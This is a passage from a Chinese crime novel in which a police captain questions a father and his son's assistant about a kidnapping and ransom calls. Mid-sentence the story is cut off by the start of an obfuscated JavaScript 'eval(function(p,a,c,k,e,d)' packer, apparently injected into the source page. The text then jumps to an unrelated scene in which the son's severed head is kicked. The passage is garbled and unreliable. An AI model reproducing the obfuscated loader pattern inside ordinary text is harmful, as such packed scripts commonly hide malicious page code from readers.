杨刚当场就扔下了钓鱼竿,开车回了家,他攥着媳妇的手,在沙发上坐了一个多小时,绑匪的电话再次打了过来。 对方用了变声器,听不清楚是男是女:“来听听你们儿子曼妙的声音吧……” 绑匪的话音落下后,电话对面就传来了一阵棍棒相加的声音,紧接着就是杨清辉痛苦的哀嚎声:“爸……妈……救我……救救我,他快要把我打死了……” 在杨刚和妻子苦苦的哀求声中,绑匪便再次拿过了电话:“给我准备50万的现金,要不连号的那种,准备好了我会通知你。” “千万不要想着要报警哦,”绑匪那雌雄莫辨的声音笑得格外的诡异:“否则的话,你们恐怕就只能见到一个死儿子了。” “好好好,我答应你,”杨刚的妻子几乎哭成了一个泪人,迫不及待的答应道:“我现在就去筹钱,你千万不要伤害我儿子……” 在接下来的几天时间里,绑匪每天都会换着不同的号打电话过来,一边要钱,一边也让杨刚夫妻俩听听儿子的声音。 可直到昨天,杨刚已经筹齐了50万的现金,准备拿着钱去赎儿子了。 绑匪却突然没音信了。 杨刚的手微微有些颤抖,他抓着王伯威的指尖无比的冰凉:“王队长,你说……你说清辉是不是出事了啊?” 王伯威的脸色变得无比的难看:“不排除这个可能。” 杨刚的脸一下子就白了:“那怎么办啊?” “你是警察,你赶紧想想办法啊,”杨刚的声音陡然变得尖利了起来:“你一定能找到我儿子的,对不对?!” “杨老板,你别急,你先听我说,”王伯威把北郊爆炸案的情况大致说了一遍:“杨清辉和石康乐那几个人,以前在老家的时候,有没有得罪过什么人?” “没有,”杨刚的语气很笃定:“我儿子从小就懂事,学习成绩也好,从来都不给大人惹麻烦,怎么会和那几个混混在一起得罪人?绝对不可能的。” “可现在根据我们调查到的线索,杨清辉确实和石康乐等人有联系,”王伯威一双眼睛直勾勾的盯着杨刚:“证据不会说谎。” 杨刚被他看的心里有些毛毛的,还是依旧坚持着:“一定是搞错了,我儿子不是这样的人……” 王伯威深吸了一口气,强行压下心头的那股烦躁:“杨老板,如果你再继续这样自欺欺人的话,谁也救不了你儿子了。” “还请你配合。” “好……我配合,”杨刚的情绪稍微冷静了一些:“你说,我要做什么?” 王伯威也放缓了语气:“最近一段时间,杨清辉的身边有没有出现过什么新的朋友或者是生意伙伴?” “这个……我不太清楚,”杨刚想了一会,然后摇头说道:“公司的事情我早就交给他了,平时也不怎么过问,至于他交什么朋友,见什么人,那我就更不知道了。” “小周,”他微微顿了顿,紧接着又补充道:“小周是我儿子的助理,跟在我儿子身边很多年了,他知道的事情应该会很多。” 片刻之后,一个二十多岁的年轻人走了进来:“杨总,您找我?” “这位是刑警队的王队长,”杨刚简单的介绍了一下,然后板起了一张脸:“现在有些事情要问你,把你知道的全部都说出来,不许隐瞒。” 小周很认真的应声:“好的,王队长,您请问。” 王伯威把刚才的那个问题又重复了一遍。 小周一下子就想起来了:“确实是有这么一个人,大概是半个多月前吧,我看到有一个人在咱们公司的车库里,和小杨总有些拉扯。” “我当时还挺好奇的,就随口问了一句,”小周皱着眉头,似乎是有些不太理解:“但是小杨总却非常生气,他跟我说,那只是他的一个朋友,让我不要多问,以后也不要多打听。” 王伯威的眼睛微微眯了起来,这个和杨清辉拉拉扯扯的人物身份这么见不得,光肯定不简单,他便又问小周:“你还记得那个人长什么样子吗?” 小周点了点头:“记得的。” “行,你稍等一下,”王伯威立刻掏出手机,拨了一个电话号码:“小唐啊。” “师父,”唐嗣钧轻轻应了一声:“是有什么事吗?” 王伯威简单的说了一下现场的情况:“你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男人咧着嘴角冷嗤了一声,对着那颗头颅狠狠的踹了过去。 头颅咕噜噜地滚到了一边,沾满了泥巴和草屑。 日光穿透树叶间的间隙洒落下来,照出了一张无比扭曲又痛苦的脸。 这张脸,曾经那么的高高在上,那么的目空一切。 而现在,却要和这些烂泥为伍。 还真是…… 让人快哉。 男人抬了脚,一步一步的走到了杨清辉的头颅旁边,缓缓蹲了下来:“啧啧,你看看你现在,可真狼狈啊……” “但是没关系,”他的眼睛弯了弯,露出了一抹极其灿烂的笑容来:“你马上就可以见到我哥哥了,到时候你可以和他好好的叙叙旧。” “是不是……很开心啊?”